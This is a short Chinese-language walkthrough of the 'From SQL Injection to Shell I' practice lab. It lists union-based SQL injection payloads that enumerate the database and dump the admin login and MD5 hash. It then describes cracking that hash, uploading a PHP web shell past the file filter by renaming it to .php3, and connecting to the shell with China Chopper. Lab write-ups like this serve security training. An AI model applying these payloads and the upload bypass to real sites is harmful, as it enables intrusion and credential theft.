from sql injection to shell I

环境搭建好以后,找到一个注入点,发现加单引号报错,然后进行注入

from sql injection to shell I

oder by 4正常,order by 5报错,那么联合查询

from sql injection to shell I

发现第二个字段可以利用,然后开始注入,为了节省地盘,以下就打印输入和输出语句

?id=1 union select 1,database(),3,4 >>>photoblog

?id=1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()>>>categories,pictures,users

?id=1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'>>>id,login,password

?id=1 union select 1,concat_ws(0x7c,id,login,password),3,4 from users>>>1|admin|8efe310f9ab3efeae8d410a8e0166eb2

到这里就知道了admin,和对应的密码

然后扫后台,扫到后台登录,密码md5解密

from sql injection to shell I

进入后台以后,寻找上传小马的地方,发现php的被过滤了

然后用php3绕过就好

上传成功后需要找到马的位置,但是没有回显马的地址,那么就可以去前台的图片里去找一下,格式是一样的,只是名字不一样

审查元素

from sql injection to shell I

把这里改成刚刚传上去的马的名字就可以,直接拿菜刀连

from sql injection to shell I

成功

相关文章: